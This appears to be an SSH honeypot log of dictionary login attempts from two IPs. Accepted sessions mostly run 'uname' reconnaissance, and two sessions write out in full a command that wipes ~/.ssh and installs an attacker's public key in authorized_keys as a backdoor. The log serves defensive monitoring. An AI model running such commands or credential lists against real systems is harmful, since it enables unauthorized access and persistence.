Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user1
{
"id": "98d1095f9770",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:48:19.924607Z",
"end_time": "2026-09-23T12:48:25.501345Z",
"duration": "5.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user1",
"pass": "password123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: username
{
"id": "fae84d5121fa",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:48:10.932917Z",
"end_time": "2026-09-23T12:48:16.000430Z",
"duration": "5.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "username",
"pass": "password"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dmdba
{
"id": "af4401eba2b5",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:48:01.457670Z",
"end_time": "2026-09-23T12:48:04.330032Z",
"duration": "2.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "dmdba",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: debian
{
"id": "c602dfb72aab",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:47:51.047521Z",
"end_time": "2026-09-23T12:47:55.451166Z",
"duration": "4.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "debian",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: ftpuser / 3245gs5662d34
{
"id": "f623e30855d7",
"src_ip": "156.232.10.218",
"start_time": "2026-09-23T12:47:42.308292Z",
"end_time": "2026-09-23T12:47:42.464658Z",
"duration": "0.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "ftpuser",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "62bcce8c616a",
"src_ip": "156.232.10.218",
"start_time": "2026-09-23T12:47:41.129752Z",
"end_time": "2026-09-23T12:47:42.294289Z",
"duration": "1.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: devops
{
"id": "69082300d03b",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:47:40.811091Z",
"end_time": "2026-09-23T12:47:46.585709Z",
"duration": "5.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "devops",
"pass": "1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: ftpuser / asd123
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "3a9fc0368d22",
"src_ip": "156.232.10.218",
"start_time": "2026-09-23T12:47:40.575936Z",
"end_time": "2026-09-23T12:47:42.461589Z",
"duration": "1.9",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "ftpuser",
"pass": "asd123"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin1
{
"id": "26ae7bdb39c1",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:47:31.469678Z",
"end_time": "2026-09-23T12:47:37.904277Z",
"duration": "6.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "admin1",
"pass": "12345678"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / password123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "a4b0c59a8863",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:47:22.024270Z",
"end_time": "2026-09-23T12:47:25.801439Z",
"duration": "3.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "password123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: zyang
{
"id": "c26a6fd5fd06",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:47:10.629905Z",
"end_time": "2026-09-23T12:47:19.530076Z",
"duration": "8.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "zyang",
"pass": "zyang"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Aaaa1111
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "031e34a08db9",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:47:00.862107Z",
"end_time": "2026-09-23T12:47:12.117451Z",
"duration": "11.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Aaaa1111"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: zyh
{
"id": "01e2a095d8c0",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:46:52.556546Z",
"end_time": "2026-09-23T12:47:01.151037Z",
"duration": "8.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "zyh",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / CactiMadeEZ
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "7e8d6437b75a",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:46:42.671211Z",
"end_time": "2026-09-23T12:46:51.918987Z",
"duration": "9.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "CactiMadeEZ"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / phil
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "33062fc2de9c",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:46:32.586167Z",
"end_time": "2026-09-23T12:46:44.221539Z",
"duration": "11.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "phil"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: administrator
{
"id": "bf82645d118b",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:46:24.700397Z",
"end_time": "2026-09-23T12:46:30.601228Z",
"duration": "5.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "administrator",
"pass": "administrator"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: trash
{
"id": "cd725061ef22",
"src_ip": "156.232.10.218",
"start_time": "2026-09-23T12:46:17.539641Z",
"end_time": "2026-09-23T12:46:18.692859Z",
"duration": "1.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "trash",
"pass": "trash"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / 123321
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "7e021d84424e",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:46:15.110504Z",
"end_time": "2026-09-23T12:46:21.429904Z",
"duration": "6.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "123321"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: super
{
"id": "ce6daec4e6f7",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:46:06.739253Z",
"end_time": "2026-09-23T12:46:10.194632Z",
"duration": "3.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "super",
"pass": "super"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: user / root
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "4dd07d25e839",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:45:57.052260Z",
"end_time": "2026-09-23T12:45:59.755730Z",
"duration": "2.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "root"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / root
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "8ae190cae5b8",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:45:47.611215Z",
"end_time": "2026-09-23T12:45:53.271941Z",
"duration": "5.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "root"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: aiuser
{
"id": "5fd25ec42432",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:45:38.566183Z",
"end_time": "2026-09-23T12:45:43.558877Z",
"duration": "5.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "aiuser",
"pass": "aiuser"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 04041987
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "c55707cf3e2c",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:45:30.271410Z",
"end_time": "2026-09-23T12:45:33.965673Z",
"duration": "3.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "04041987"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: admin / 051178
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "039237f69584",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:45:20.519979Z",
"end_time": "2026-09-23T12:45:26.774254Z",
"duration": "6.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "051178"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / qwertyuiop
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "6c86ca82d458",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:45:11.327234Z",
"end_time": "2026-09-23T12:45:16.981725Z",
"duration": "5.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "qwertyuiop"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / qwerty
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "c7c30703403d",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:45:02.581369Z",
"end_time": "2026-09-23T12:45:06.266111Z",
"duration": "3.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "qwerty"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rancher
{
"id": "987b935641fd",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:44:53.558914Z",
"end_time": "2026-09-23T12:44:56.214255Z",
"duration": "2.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "rancher",
"pass": "rancher"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: zy
{
"id": "d30299eed4f4",
"src_ip": "156.232.10.218",
"start_time": "2026-09-23T12:44:51.307002Z",
"end_time": "2026-09-23T12:44:52.464811Z",
"duration": "1.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "zy",
"pass": "zy123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / root!@
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "1acc972a85d6",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:44:44.124299Z",
"end_time": "2026-09-23T12:44:46.265995Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "root!@"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: postgres / postgres
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "c3fd820f1bc9",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:44:34.264056Z",
"end_time": "2026-09-23T12:44:37.018469Z",
"duration": "2.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "postgres",
"pass": "postgres"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / 19860710
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "0822a7aba73c",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:44:24.127748Z",
"end_time": "2026-09-23T12:44:28.911290Z",
"duration": "4.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "19860710"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / qaz123123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "69caf560683d",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:44:12.738120Z",
"end_time": "2026-09-23T12:44:21.833652Z",
"duration": "9.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "qaz123123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / Server2026!
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "8392b3df7cac",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:44:05.069246Z",
"end_time": "2026-09-23T12:44:14.040441Z",
"duration": "9.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Server2026!"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: testuser
{
"id": "c864a5fd2199",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:43:54.493559Z",
"end_time": "2026-09-23T12:44:03.038867Z",
"duration": "8.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "testuser",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: lxy
{
"id": "b41040ab6556",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:43:46.245909Z",
"end_time": "2026-09-23T12:43:53.827540Z",
"duration": "7.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "lxy",
"pass": "lxy@123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: minecraft / 12345
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "15b7a0112db7",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:43:37.502663Z",
"end_time": "2026-09-23T12:43:43.293326Z",
"duration": "5.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "minecraft",
"pass": "12345"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: frappe
{
"id": "3b3d2f86d88d",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:43:28.630062Z",
"end_time": "2026-09-23T12:43:33.658174Z",
"duration": "5.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "frappe",
"pass": "admin"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: claude
{
"id": "e39b87fbf2f0",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:43:18.622603Z",
"end_time": "2026-09-23T12:43:22.892693Z",
"duration": "4.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "claude",
"pass": "root"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "9ab057ff6fa6",
"src_ip": "156.232.10.218",
"start_time": "2026-09-23T12:43:13.943703Z",
"end_time": "2026-09-23T12:43:14.108133Z",
"duration": "0.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "28a56d7e6b1d",
"src_ip": "156.232.10.218",
"start_time": "2026-09-23T12:43:12.778625Z",
"end_time": "2026-09-23T12:43:13.929435Z",
"duration": "1.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Vps@2026
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "dd1449496c0d",
"src_ip": "156.232.10.218",
"start_time": "2026-09-23T12:43:12.339148Z",
"end_time": "2026-09-23T12:43:14.105052Z",
"duration": "1.8",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Vps@2026"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
